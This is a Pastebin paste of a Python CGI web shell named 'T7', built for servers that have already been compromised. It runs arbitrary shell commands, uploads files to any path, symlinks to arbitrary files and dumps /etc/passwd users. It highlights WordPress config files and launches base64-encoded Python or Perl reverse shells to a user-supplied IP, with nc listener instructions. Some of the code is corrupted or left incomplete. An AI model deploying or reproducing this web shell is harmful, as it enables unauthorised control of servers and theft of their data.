mathio3

py()

Aug 5th, 2019
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 28.98 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # TName     : t7.py
  3. import cgi
  4. import cgitb
  5. cgitb.enable()
  6. import sys
  7. import os
  8. import subprocess
  9. import platform
  10. import base64
  11. import urllib
  12. from ftplib import FTP
  13. #
  14. un=""
  15. name='VDd+'
  16. for m in platform.uname():
  17.     un+=m
  18. cmd = subprocess.Popen('id',shell=True,stdin = subprocess.PIPE, stdout = subprocess.PIPE,stderr=subprocess.STDOUT, close_fds=True)
  19. id = cmd.stdout.read()
  20. if os.environ.has_key('SERVER_SOFTWARE'):
  21.     soft = os.environ['SERVER_SOFTWARE']
  22.  
  23.  
  24. md5_d = """
  25. IyEvdXNyL2Jpbi9weXRob24KCiMgUmVtb3RlIG1kNSBvbiBzaGVsbC1zdG9ybS5vcmcKCmltcG9ydCBodHRwbGliCmltcG9ydCBzb2NrZXQKaW1wb3J0IHN5cwppbXBvcnQgdXJsbGliCgoJCnRyeToKCWhvc3QgPSBzb2NrZXQuZ2V0aG9zdGJ5bmFtZSgic2hlbGwtc3Rvcm0ub3JnIikKCWNvbiA9IGh0dHBsaWIuSFRUUENvbm5lY3Rpb24oaG9zdCwgODApCgkKCXBhcmFtcyA9IHVybGxpYi51cmxlbmNvZGUoeydtZDUnOiBzeXMuYXJndlsyXX0pCgloZWFkZXJzID0geyJDb250ZW50LXR5cGUiOiAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiwgIkFjY2VwdCI6ICJ0ZXh0L3BsYWluIn0KCQkKCWlmIHN5cy5hcmd2WzFdID09ICItZCI6CgkJY29uLnJlcXVlc3QoJ1BPU1QnLCAnL21kNS9yZW1vdGUvZGVjcnlwdC5waHAnLCBwYXJhbXMsIGhlYWRlcnMpCQoJCglyZXNwb25zZSA9IGNvbi5nZXRyZXNwb25zZSgpCglkYXRhID0gcmVzcG9uc2UucmVhZCgpCgljb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FNBQk9UQUdFID09LS0gIAoKIjsKc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsKZWNobyAtLT09VXNlcmluZm89PS0tIDsgaWQ7ZWNobztlY2hvIC0tPT1EaXJlY3Rvcnk9PS0tIDsgcHdkO2VjaG87IGVjaG8gLS09PVNoZWxsPT0tLSAiKTsKc3lzdGVtKCRzeXN0ZW0pOwoK"""
  32. #
  33. #
  34.  
  35. print'Content-type: text/html\n\n'#header
  36.  
  37. def html():
  38.   print """<html><head>
  39. <title>Home</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  40.    <style type='text/css'>
  41.    body{
  42.        font-family:'Open Sans Condensed',sans-serif;
  43.    }
  44.    
  45.  
  46.  
  47.    .dir{
  48.        background-color:#000;
  49.        color:#fff;
  50.        border-top:1px solid #000;
  51.        border-left:1px solid #000;
  52.        border-right:1px solid #000;
  53.        border-bottom:1px solid #171717;
  54.        font-size:14px;
  55.        outline: none;
  56.    }
  57.    
  58.    .q{
  59.        font-size:17px;
  60.    }
  61.    .sub{
  62.        -webkit-border-radius:3px;
  63.        -moz-border-radius:3px;
  64.        padding:2px 25px;
  65.        border:1px inset #737373;
  66.        BACKGROUND-COLOR: #101010;
  67.        fon????????????????t: 8pt Verdana;
  68.        color: #fff;
  69.    }
  70.    .c{
  71.        -webkit-border-radius:3px;
  72.        -moz-border-radius:3px;
  73.        padding-top: 3px;
  74.        border:1px inset #737373;
  75.        BACKGROUND-COLOR: #101010;
  76.        font: 8pt Verdana;
  77.        color: #fff;
  78.    }
  79.    table tr th{
  80.        background-color:#191919;
  81.        border-bottom:1px inset #333333;
  82.        border-left:2px solid #000;
  83.        padding: 2px 10px;
  84.        font-weight: normal;
  85.        font-size:12px;
  86.    }
  87.    table tr th:hover{
  88.        border-bottom:1px solid red;
  89.    }
  90.    table tr .m{
  91.        text-indent:25px;
  92.        padding:10px 300px 10px 16px;
  93.        border-bottom:1px solid #333;
  94.    }
  95.    table tr .m:hover{
  96.        text-shadow:0px 0px 10px #fff;
  97.    }
  98.    .mu{
  99. -webkit-border-radius:4px;
  100. -moz-border-radius:4px;
  101. padding:4px 34px;
  102. border:1px solid #000;
  103. BACKGROUND-COLOR: #101010;
  104. font: 8pt Verdana;
  105. color: #fff;
  106.    }
  107.    .mu:hover{
  108.    -webkit-border-radius:4px;
  109. -moz-border-radius:4px;
  110. padding:3px 34px;
  111. BACKGROUND-COLOR: #000;
  112. font: 8pt Verdana;
  113. color: #1;
  114.      
  115.    }
  116.    .pe{
  117.      background-color:#000;
  118.        color:#fff;
  119.        border:1px solid #000;
  120.    }
  121.    .pe:hover{
  122.              background-color:#101010;
  123.              border:1px solid #101010;
  124.    }
  125.    .t7{
  126.      border-right:1px solid #333;
  127.    }
  128.    .m{
  129.        padding:5px 10px;
  130.    }
  131.    </style>
  132.    
  133. </head>
  134. <body bgcolor='#000' text='white'>
  135. <table cellpadding='5'>
  136. <tr>
  137. <td class='t7' valign='center'> <font size='7' color='#333333' > %s</font></td>"""%base64.b64decode(name)+"""
  138. """+"<td valign='top' ><font size='2' color='999999'>  %s<br />%s<br />%s<br /> Server ip : %s\
  139.                  </font> </td>"%(soft,un,id,urllib.thishost())+"""
  140. </tr>
  141.  
  142. </table>
  143.    <form action='?' method=GET>
  144.    <input type='submit' name='t7' class= 'mu' value='Home' / >
  145.    <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
  146.    <input type='submit' name='t7' class='mu' value='Backconnect' / >
  147.    <input type='submit' name='t7' class= 'mu' value='Users' / >
  148.    <input type='submit' name='t7' class= 'mu' value='Encoder' / >\
  149.  
  150.  
  151.    <input type='submit' name='t7' class= 'mu' value='Delete' / >
  152.    <br /><br />
  153.    </form>
  154.    
  155.    <form action='?' method='POST'>"""+\
  156.     "<font siz='10px' color='#272727'>Path: </font><input type='text' name='dir' size=82 class='dir' value="+p()+\
  157.     " /><br /><br /> Run command ~$  <input type='text'  name='cmd' class='c' size=50  />"+"""
  158.    <input type='submit' class='sub' /><br/>
  159.    </form>
  160.    <table cellspacing=0 cellpadding=1  >
  161.    """
  162.    
  163.  
  164. #  BackConnect
  165. #
  166. def backconnect():
  167.   print"""
  168. <title>BackConnect</title>
  169. <style >
  170. body{
  171.        font-family:Tahoma,Verdana,Arial
  172.    }
  173.    .mu{
  174. -webkit-border-radius:4px;
  175. -moz-border-radius:4px;
  176. padding:4px 34px;
  177. border:1px solid #000;
  178. BACKGROUND-COLOR: #101010;
  179. font: 8pt Verdana;
  180. color: #fff;
  181.    }
  182.    .mu:hover{
  183.    -webkit-border-radius:4px;
  184. -moz-border-radius:4px;
  185. padding:3px 34px;
  186. border:1px solid #000;
  187. BACKGROUND-COLOR: #000;
  188. font: 8pt Verdana;
  189. color: #1;
  190.      
  191.    }
  192.    .e{
  193.    -webkit-border-radius:3px;
  194.        -moz-border-radius:3px;
  195.        padding:1px 10px;
  196.        margin: 3px;
  197.        border:1px inset #737373;
  198.        BACKGROUND-COLOR: #101010;
  199.        font: 8pt Verdana;
  200.        color: #fff;
  201.      
  202.    }
  203.    select{
  204.      background-color:#101010;
  205.  
  206.    }
  207.    .con{
  208.      background-color:#101010;
  209.      border:1px solid #444;
  210.      padding: 1px 22px;
  211.      border-radius:2px;
  212.      color:#fff;
  213.    }
  214. .t7{
  215.      border-right:1px solid #333;
  216.    }
  217.    
  218.    </style>
  219.    
  220. </head>
  221. <body bgcolor='#000' text='white'>
  222. <table cellpadding='5'>
  223. <tr>
  224. <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
  225. """+"<td valign='top' ><font size='2' color='999999'>  %s<br />%s<br />%s<br /> Server ip : %s\
  226.                  </font> </td>"%(soft,un,id,urllib.thishost())+"""
  227. </tr>
  228. </table>
  229. <form action='?' method=GET>
  230.    <input type='submit' name='t7' class= 'mu' value='Home' / >
  231.    <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
  232.    <input type='submit' name='t7' class='mu' value='Backconnect' / >
  233.    <input type='submit' name='t7' class= 'mu' value='Users' / >
  234.    <input type='submit' name='t7' class= 'mu' value='Encoder' / >
  235.        
  236.  
  237.    <input type='submit' name='t7' class= 'mu' value='Delete' / >
  238.    <br /><br />
  239.    
  240.    </form>
  241. <form action='?' method='GET' >
  242. IP: &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type='text' size='30' name='ip' class='e'/><br />
  243. Port: &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type='text' size='30' name='port' class='e'/><br />
  244. &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<select name='use'>
  245. <option value='py'>Using Python</option>
  246. <option value='pe'>Using Perl</option>
  247. </select>
  248. <input type='submit' value='Connect' name='con' class='con' />
  249. </form><br /> <br />"""
  250.    
  251.    
  252.  
  253. # Symlink
  254. #
  255. def sym():
  256.     print"""
  257. <title>Symlink</title>
  258. <style >
  259. body{
  260.        font-family:Tahoma,Verdana,Arial
  261.    }
  262. #sy{
  263.    background-color:#0C0C0C;
  264.    
  265.    -moz-border-radius:12px;
  266.    -webkit-border-radius:12px;
  267. }
  268. .e{
  269.    background-color:#101010;
  270.    color:#B9B5B5;
  271.    border:1px solid #090909;
  272. }
  273. .e:focus{
  274.    background-color:#5D5D5D;
  275.    color:#000;
  276.    border:1px ridge #000;
  277. }
  278. .s{
  279.    background-color:#171717;
  280.    color:#000;
  281.    border:1px solid #101010;
  282.    padding:2px 10px;
  283. }
  284.    .mu{
  285. -webkit-border-radius:4px;
  286. -moz-border-radius:4px;
  287. padding:4px 34px;
  288. border:1px solid #000;
  289. BACKGROUND-COLOR: #101010;
  290. font: 8pt Verdana;
  291. color: #fff;
  292.    }
  293.    .mu:hover{
  294.    -webkit-border-radius:4px;
  295. -moz-border-radius:4px;
  296. padding:3px 34px;
  297. BACKGROUND-COLOR: #000;
  298. font: 8pt Verdana;
  299. color: #1;
  300.      
  301.    }
  302. .t7{
  303.      border-right:1px solid #333;
  304.    }
  305.    
  306.    </style>
  307.    
  308. </head>
  309. <body bgcolor='#000' text='white'>
  310. <table cellpadding='5'>
  311. <tr>
  312. <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
  313. """+"<td valign='top' ><font size='2' color='999999'>  %s<br />%s<br />%s<br /> Server ip : %s\
  314.                  </font> </td>"%(soft,un,id,urllib.thishost())+"""
  315. </tr>
  316.  
  317. </table>
  318. <form action='?' method=GET>
  319.    <input type='submit' name='t7' class= 'mu' value='Home' / >
  320.    <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
  321.    <input type='submit' name='t7' class='mu' value='Backconnect' / >
  322.    <input type='submit' name='t7' class= 'mu' value='Users' / >
  323.            <input type='submit' name='t7' class= 'mu' value='Encoder' / >
  324.              
  325.  
  326.        <input type='submit' name='t7' class= 'mu' value='Delete' / >
  327.  
  328.    <br /><br />
  329.    
  330.    </form>
  331. <form action='?' method='GET' >
  332. <table wdith='100%' cellpadding='10' cellspacing='0' align='center' id='sy'>
  333. <tr>
  334. <td align='center'> <h3><font color=#4A4A4A>== Sym1ink To)ol ==</font></h3></td></tr>
  335.  
  336. <tr>
  337.  
  338. <td align='center'> <b></b> <input type='text' name='ff' class='e'  size='70'>"""+\
  339. "<br/><input type='text' name='f1' value='%s'class='e'  size='59'>"%os.getcwd()+"""<input type='submit' value='Submit' name='get' class='s'><br /><br /></td></tr>
  340. </table>
  341.  
  342. </form>
  343. """
  344.     try:
  345.         l = os.path.basename(form.getvalue('f1'))
  346.         if os.path.exists(l): # check
  347.             os.remove(l) # remove if this file is here
  348.         try:
  349.             if os.path.exists(form.getvalue('ff')):
  350.                 os.symlink(form.getvalue('ff'),form.getvalue('f1')) # create symlink to f1 value
  351.            
  352.                 print "<center><br /> <a href='%s' target='_blank' title='):' style='text-decoration:none;color:#fff;' > Click Here (:</a> <center>"%l  
  353.             else:
  354.                 print "<br /> [-] <font color=red >"+form.getvalue('ff')+'</font> Make sure the file path'
  355.         except:
  356.             pass
  357.     except:
  358.         pass
  359.  
  360. #  Upload File
  361. #
  362. def upload():
  363.     print """<title>Upload File</title><style>
  364.    body{
  365.        font-family:Tahoma,Verdana,Arial;
  366.        background-color:#000;
  367.        color:#fff;
  368.    }
  369.    
  370.    .mu{
  371. -webkit-border-radius:4px;
  372. -moz-border-radius:4px;
  373. padding:4px 34px;
  374. border:1px solid #000;
  375. BACKGROUND-COLOR: #101010;
  376. font: 8pt Verdana;
  377. color: #fff;
  378.    }
  379.    .mu:hover{
  380.    -webkit-border-radius:4px;
  381. -moz-border-radius:4px;
  382. padding:3px 34px;
  383. BACKGROUND-COLOR: #000;
  384. font: 8pt Verdana;
  385. color: #1;
  386.      
  387.    }
  388.    .dir{
  389.        background-color:#000;
  390.        color:#fff;
  391.        border-top:1px solid #000;
  392.        border-left:1px solid #000;
  393.        border-right:1px solid #000;
  394.        border-bottom:1px solid #171717;
  395.        text-indent:6px;
  396.        font-size:13px;
  397.    }
  398.    .re{
  399.      background-color:#101010;
  400.    }
  401.    .he tr td{
  402.      text-indent:10px;
  403.      margin: 30px;
  404.  
  405.    }
  406.    .he{
  407.      border:1px solid #101010;
  408.      margin: 10px;
  409.    }
  410.    .fi{
  411.      background-color: #141414;
  412.      border: 1px solid #444;
  413.      color:#fff;
  414.      padding:0px 15px;
  415.    }
  416. .t7{
  417.      border-right:1px solid #333;
  418.    }
  419.    
  420.    </style>
  421.    
  422. </head>
  423. <body bgcolor='#000' text='white'>
  424. <table cellpadding='5' >
  425. <tr>
  426. <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
  427. """+"<td valign='top' ><font size='2' color='999999'>  %s<br />%s<br />%s<br /> Server ip : %s\
  428.                  </font> </td>"%(soft,un,id,urllib.thishost())+"""
  429. </tr>
  430.  
  431. </table>
  432. <form action='?' method=GET>
  433.    <input type='submit' name='t7' class= 'mu' value='Home' / >
  434.    <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
  435.    <input type='submit' name='t7' class='mu' value='Backconnect' / >
  436.    <input type='submit' name='t7' class= 'mu' value='Users' / >
  437.            <input type='submit' name='t7' class= 'mu' value='Encoder' / >
  438.    
  439.  
  440.        <input type='submit' name='t7' class= 'mu' value='Delete' / >
  441.  
  442.    <br /><br />
  443.    
  444.    </form>
  445.   <form enctype="multipart/form-data" action="?" method="POST">
  446.   <table class='he'>
  447.   <tr>
  448.   <th valign='center' class='re'><font color='#444' size='2px'> Upload from computer ...</font></th>
  449.   </tr>
  450.   <tr>
  451.   <td>
  452.   Upload To :"""+"<input type='text' name='to' size=82 class='dir' value='%s' />"%os.getcwd()+"""</td></tr><tr><td>
  453.   File: <input type="file" name="f" class='fi' /> <input type="submit" name='u' class='fi' value="Upload" /><br /> <br /></td>
  454.   </tr>
  455.   </form>
  456.   </table>
  457.   </form>
  458. </body>
  459. </html>"""
  460.  
  461. def users():
  462.   print """
  463. <title>Users</title><style>
  464.    body{
  465.            font-family:Tahoma,Verdana,Arial;
  466.        background-color:#000;
  467.        color:#fff;
  468.    }
  469.    .mu{
  470. -webkit-border-radius:4px;
  471. -moz-border-radius:4px;
  472. padding:4px 34px;
  473. border:1px solid #000;
  474. BACKGROUND-COLOR: #101010;
  475. font: 8pt Verdana;
  476. color: #fff;
  477.    }
  478.    .mu:hover{
  479.    -webkit-border-radius:4px;
  480. -moz-border-radius:4px;
  481. padding:3px 34px;
  482. BACKGROUND-COLOR: #000;
  483. font: 8pt Verdana;
  484. color: #1;
  485.      
  486.    }
  487.    textarea{
  488.      background-color:#101010;
  489.      border:1px solid #101010;
  490.      border-radius:8px;
  491.      color:#fff;
  492.    }
  493.    .go{
  494.    background-color:#101010;
  495.      border:1px solid #444;
  496.      padding: 1px 22px;
  497.      border-radius:2px;
  498.      color:#fff;
  499.      
  500.    }
  501.    .me{
  502.        padding:3px 0px;
  503.        border:1px solid #272727;
  504.        BACKGROUND-COLOR: #101010;
  505.        font: 8pt Verdana;
  506.        color: #fff;
  507.      
  508.    }
  509. .t7{
  510.      border-right:1px solid #333;
  511.    }
  512.    
  513.    </style>
  514.    
  515. </head>
  516. <body bgcolor='#000' text='white'>
  517. <table cellpadding='5'>
  518. <tr>
  519. <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
  520. """+"<td valign='top' ><font size='2' color='999999'>  %s<br />%s<br />%s<br /> Server ip : %s\
  521.                  </font> </td>"%(soft,un,id,urllib.thishost())+"""
  522. </tr>
  523.  
  524. </table>
  525. <form action='?' method=GET>
  526.    <input type='submit' name='t7' class= 'mu' value='Home' / >
  527.    <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
  528.    <input type='submit' name='t7' class='mu' value='Backconnect' / >
  529.    <input type='submit' name='t7' class= 'mu' value='Users' / >
  530.            <input type='submit' name='t7' class= 'mu' value='Encoder' / >
  531.    
  532.  
  533.        <input type='submit' name='t7' class= 'mu' value='Delete' / >
  534.  
  535.    <br /><br />
  536.    
  537.    </form>
  538.  
  539. <center>~:/etc/passwd<br /><textarea   rows='30' cols='30' name='user'  >"""
  540.   try:
  541.         m = open('/etc/passwd','r') # read /etc/passwd file
  542.   except:
  543.         pass
  544.   tt = []
  545.   for line in m.readlines():
  546.       r = line.find(':')
  547.       t = line[r:]
  548.       l=line.split(t)
  549.       tt.append(l[0])
  550.   for i in tt:
  551.     print i
  552.   m.close()
  553.  
  554.   print """</textarea></center>
  555. &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp
  556.   </form>"""
  557. #
  558. #
  559.  
  560. def encoderh():
  561.   print"""
  562. <title>Encoder ...!</title>
  563. <style >
  564. body{
  565.            font-family:Tahoma,Verdana,Arial;
  566.  
  567. }
  568.    .mu{
  569. -webkit-border-radius:4px;
  570. -moz-border-radius:4px;
  571. padding:4px 34px;
  572. border:1px solid #000;
  573. BACKGROUND-COLOR: #101010;
  574. font: 8pt Verdana;
  575. color: #fff;
  576.    }
  577.    .mu:hover{
  578.    -webkit-border-radius:4px;
  579. -moz-border-radius:4px;
  580. padding:3px 34px;
  581. border:1px solid #000;
  582. BACKGROUND-COLOR: #000;
  583. font: 8pt Verdana;
  584. color: #1;
  585.    }
  586.    textarea{
  587.      background-color:#101010;
  588.      -webkit-border-radius:5px;
  589.      -moz-border-radius:5px;
  590.      border:1px solid #000;
  591.      color:#fff;
  592.    }
  593.    .enc{
  594.      background-color:#101010;
  595.      border:1px solid #000;
  596.      padding: 1px 200;
  597.      border-radius:2px;
  598.      color:#fff;
  599.    }
  600. .t7{
  601.      border-right:1px solid #333;
  602.    }
  603.    
  604.    </style>
  605.    
  606. </head>
  607. <body bgcolor='#000' text='white'>
  608. <table cellpadding='5'>
  609. <tr>
  610. <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
  611. """+"<td valign='top' ><font size='2' color='999999'>  %s<br />%s<br />%s<br /> Server ip : %s\
  612.                  </font> </td>"%(soft,un,id,urllib.thishost())+"""
  613. </tr>
  614.  
  615. </table><form action='?' method=GET>
  616.    <input type='submit' name='t7' class= 'mu' value='Home' / >
  617.    <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
  618.    <input type='submit' name='t7' class='mu' value='Backconnect' / >
  619.    <input type='submit' name='t7' class= 'mu' value='Users' / >
  620.            <input type='submit' name='t7' class= 'mu' value='Encoder' / >
  621.    
  622.  
  623.        <input type='submit' name='t7' class= 'mu' value='Delete' / >
  624.  
  625.    <br /><br />
  626.    
  627.    </form>
  628. <center>
  629. <form action='?' method='POST' >
  630. <textarea cols='50' rows='6' name='new'>
  631. </textarea><br />
  632. <input type='submit' value='En'  name='enc' class='enc' /><br />
  633. <input type='submit' value='De'  name='de' class='enc' />
  634. </form></center><br /> <br />"""
  635.  
  636.  
  637. #
  638. def about():
  639.     print """<title>Ab0ut</title>
  640. <style >
  641. body{
  642.        font-family:Tahoma,Verdana,Arial
  643.    }
  644.    .mu{
  645. -webkit-border-radius:4px;
  646. -moz-border-radius:4px;
  647. padding:4px 34px;
  648. border:1px solid #000;
  649. BACKGROUND-COLOR: #101010;
  650. font: 8pt Verdana;
  651. color: #fff;
  652.    }
  653.    .mu:hover{
  654.    -webkit-border-radius:4px;
  655. -moz-border-radius:4px;
  656. padding:3px 34px;
  657. border:1px solid #000;
  658. BACKGROUND-COLOR: #000;
  659. font: 8pt Verdana;
  660. color: #1;
  661.      
  662.    }
  663. .box{
  664.    background-color:rgba(255,255,255,0.05);
  665.    width:26%;
  666.    height:55%;
  667.    margin:5% 33%;
  668.    padding:50px 0px 0px 15px;
  669.    -webkit-border-top-left-radius:30px;
  670.    -webkit-border-bottom-right-radius:20px;
  671.    -webkit-border-top-right-radius:2px;
  672.    -webkit-border-bottom-left-radius:2px;
  673.  
  674.    color:444444;
  675. }
  676. .box span{
  677.    border-bottom:0px dashed #333333;
  678.    padding:0px 30px 0px 40px;
  679.        -webkit-box-shadow: 5px 0px 80px #444;
  680.  
  681. }
  682. .t7{
  683.      border-right:1px solid #333;
  684.    }
  685.    
  686.    </style>
  687.    
  688. </head>
  689. <body bgcolor='#000' text='white'>
  690. <table cellpadding='5'>
  691. <tr>
  692. <td class='t7' valign='center'> <font size='7' color='#333333' > T7~ </font></td>
  693. """+"<td valign='top' ><font size='2' color='999999'>  %s<br />%s<br />%s<br /> Server ip : %s\
  694.                  </font> </td>"%(soft,un,id,urllib.thishost())+"""
  695. </tr>
  696. </table>
  697. <form action='?' method=GET>
  698.    <input type='submit' name='t7' class= 'mu' value='Home' / >
  699.    <input type='submit' name='t7' class= 'mu' value='Symlink' / > <input type='submit' name='t7' class='mu'value='Upload' / >
  700.    <input type='submit' name='t7' class='mu' value='Backconnect' / >
  701.    <input type='submit' name='t7' class= 'mu' value='Users' / >
  702.    <input type='submit' name='t7' class= 'mu' value='Encoder' / >
  703.        
  704.  
  705.    <input type='submit' name='t7' class= 'mu' value='Delete' / >
  706.    <br /><br />
  707.    
  708.    
  709.    """
  710.  
  711.  
  712. def encoder(en):
  713.   try:
  714.       import hashlib # mybe this Computer Not Install This Moudel
  715.       if form.has_key('enc'):
  716.           sha1 = hashlib.sha1(en)
  717.           sha224 = hashlib.sha224(en)
  718.           sha256 = hashlib.sha256(en)
  719.           sha384 = hashlib.sha384(en)
  720.           sha512 = hashlib.sha512(en)
  721.           md5 = hashlib.md5(en)
  722.           b64 = base64.b64encode(en)
  723.           b16 = base64.b16encode(en)
  724.           b32 = base64.b32encode(en)
  725.           print "<br /> <pre>"
  726.           print " <font color='#8F0000'>Sha1</font>   : %s"%sha1.hexdigest()
  727.           print " <font color='#8F0000'>Sha224</font> : %s"%sha224.hexdigest()
  728.           print " <font color='#8F0000'>Sha256</font> : %s"%sha256.hexdigest()
  729.           print " <font color='#8F0000'>Sha384</font> : %s"%sha384.hexdigest()
  730.           print " <font color='#8F0000'>Sha512</font> : %s"%sha512.hexdigest()
  731.           print " <font color='#8F0000'>MD5</font>    : %s"%md5.hexdigest()
  732.           print " <font color='#8F0000'>Base64</font> : %s"%b64
  733.           print " <font color='#8F0000'>Base16</font> : %s"%b16
  734.           print " <font color='#8F0000'>Base32</font> : %s"%b32
  735.           print "</pre>"
  736.       elif form.has_key('de'):
  737.           print "<br /> <pre>"
  738.           print " <font color='#8F0000'>Sha1</font>   : "
  739.           print " <font color='#8F0000'>Sha224</font> : "
  740.           print " <font color='#8F0000'>Sha256</font> : "
  741.           print " <font color='#8F0000'>Sha384</font> : "
  742.           print " <font color='#8F0000'>Sha512</font> : "
  743.           try:
  744.               print " <font color='#8F0000'>Base64</font> : %s"%base64.b64decode(en)
  745.           except:
  746.               print  " <font color='#8F0000'>Base64</font> :"
  747.           try:
  748.               print " <font color='#8F0000'>Base16</font> : %s"%base64.b16decode(en)
  749.           except:
  750.               print  " <font color='#8F0000'>Base16</font> :"
  751.           try:
  752.               print " <font color='#8F0000'>Base32</font> : %s"%base64.b32decode(en)
  753.           except:
  754.               print " <font color='#8F0000'>Base32</font> :"
  755.           print "</pre>"
  756.   except ImportError:
  757.       print "[*] install hashlib Modaul "
  758.   except:
  759.     print "Write Some Words in the input"
  760.  
  761. #
  762.  
  763. def up():
  764.     if platform.system() =='win32':
  765.         try: # Windows needs stdio set for binary mode.
  766.             import msvcrt
  767.             msvcrt.setmode (0, os.O_BINARY) # stdin  = 0
  768.             msvcrt.setmode (1, os.O_BINARY) # stdout = 1
  769.         except ImportError:
  770.             pass
  771.     try:
  772.         fi = form['f']
  773.         if fi.filename:
  774.             fn = os.path.basename(fi.filename)
  775.             if form.has_key('to'):
  776.                 try:
  777.                     to = form.getvalue('to')
  778.                     if to[-1] == '/':
  779.                         open(to+fn, 'wb').write(fi.file.read())
  780.                         msg = 'The file [' + fn + '] was uploaded successfully '
  781.                     else:
  782.                         open(to+'/'+fn, 'wb').write(fi.file.read())
  783.                         msg = 'The file [' + fn + '] was uploaded successfully '
  784.                 except:
  785.                     print "[<font color='red'>~</font>] Permission denied ..."
  786.             else:
  787.                 print "Upload T0 (: Erath (:"
  788.         else:
  789.             msg = 'No file was uploaded'
  790.         print " <p>%s</p>" % (msg)
  791.     except:
  792.         pass
  793. #
  794. #
  795. def connect():
  796.     fl = '/tmp/'+'b'
  797.     ip = form.getvalue('ip')
  798.     port = form.getvalue('port')
  799.     if form.has_key('con'):
  800.       if not (form.has_key('ip') and form.has_key('port')):
  801.           print "<br /> YOu Must Enter Ip And Port"
  802.       else:
  803.         if form.getvalue('use') == 'py':
  804.             try:
  805.               open(fl,'w').write(base64.b64decode(back_connect_python))
  806.               p = subprocess.Popen(["python %s %s %s" % (fl,ip,int(port))],shell=True)
  807.               print   "Use NetCat ....! <br /> <br />nc -l -n -v -p %s <br /> &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp OR"%port
  808.               print   "<br /> nc -lvp %s"%port
  809.             except:
  810.               print"<br /> in port input You must enter number not string ..."
  811.         else:
  812.             try:
  813.               open(fl,'w').write(base64.b64decode(back_connect_perl))
  814.               p = subprocess.Popen(["perl %s %s %s" % (fl,ip,int(port))],shell=True)
  815.               print   "<pre>Use NetCat ....! <br /> <br />nc -l -n -v -p %s <br /> &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp OR"%port
  816.               print   "<br /> nc -lvp %s </pre>"%port
  817.             except:
  818.               print"<br /> in port input You must enter number not string ..."
  819.  
  820.  
  821.  
  822.  
  823. #
  824.  
  825. def ls():
  826.     path = os.getcwd()
  827.     print "<tr><th>Name</th></tr>"
  828.     for n in os.listdir(path):
  829.         if os.path.isdir(n):
  830.             print """<tr > <td class='m' style="background:url() no-repeat 5px center;background-size:30px;" width=400><b/><font size='2' color='#cccccc'>%s</font> </b></td>"""%(n)
  831.             print "</tr>"
  832.         elif os.path.isfile(n) and n[-3:].lower() !='png' and n[-3:].lower() !='jpg':
  833.             if n in ['config.php','wp-config.php']:
  834.                 print """<tr > <td class='m' style="background:url() no-repeat 5px center;background-size:30px;" width=400><b/><font size='2' color='red'> %s</font> </b></td>"""%(n)
  835.                 print "</tr>"
  836.             else:
  837.                 print """<tr > <td class='m' style="background:url() no-repeat 5px center;background-size:30px;" width=400><b/><font size='2' color='#cccccc'> %s</font> </b></td>"""%(n)
  838.                 print "</tr>"
  839.         elif os.path.islink(n):
  840.             print "<tr > <td class='m' width=400><b/><font size='2' color='#cccccc' >%s</font> </b></td>"%n
  841.             print "</tr>"
  842.         elif n[-3:].lower() =='png' or n[-3:] =='jpg':
  843.             print """<tr > <td class='m' style="background:url() no-repeat 5px center;background-size:28px;" width=400><b/><font size='2' color='#cccccc'> %s</font> </b></td>"""%(n)
  844.             print "</tr>"
  845.         else:
  846.             print "<tr > <td  class='m' width=400><b/><font size='2' color='#cccccc'>%s</font> </b>"%n
  847.             print "<tr>"
  848.     print "</form>"
  849.     print "</table><body></html>"
  850.  
  851. #
  852.  
  853. def fo():
  854.     if form.has_key('cmd'):
  855.             m = subprocess.Popen(form.getvalue('cmd'),shell=True,stdin = subprocess.PIPE,
  856.                                  stdout = subprocess.PIPE,stderr=subprocess.STDOUT, close_fds=True)
  857.             i = m.stdout.read()
  858.             print"<font size='2' color='#4C4C4C'>Executed command : %s</font> <br /><pre class='q'> %s </pre>"%(form.getvalue('cmd'),i)
  859.                
  860.     else:
  861.       ls()
  862.  
  863. #
  864. def p():
  865.     if form.has_key('dir'):
  866.         m = form.getvalue('dir')
  867.         if not (os.path.exists(form.getvalue('dir')) and os.path.isdir(form.getvalue('dir'))):
  868.             print 'Make sure you type the correct path'
  869.             return form.getvalue('dir')
  870.         else:
  871.             s =form.getvalue('dir')
  872.             os.chdir(s)
  873.             return s
  874.     else:
  875.         return os.getcwd()
  876.         ls()
  877.  
  878. #
  879. if __name__ == '__main__':
  880.     try:
  881.         word = open('/tmp/user.txt','r')
  882.         ws = word.readlines()
  883.     except:
  884.         pass
  885.     form = cgi.FieldStorage()
  886.     if form.getvalue('t7')=='Symlink' or form.has_key('get'):
  887.         sym()
  888.     elif form.getvalue('t7') == 'Upload' or form.has_key('u'):
  889.         upload()
  890.         up()
  891.     elif form.getvalue('t7')=='Users' or form.has_key('go'):
  892.       users()
  893.  
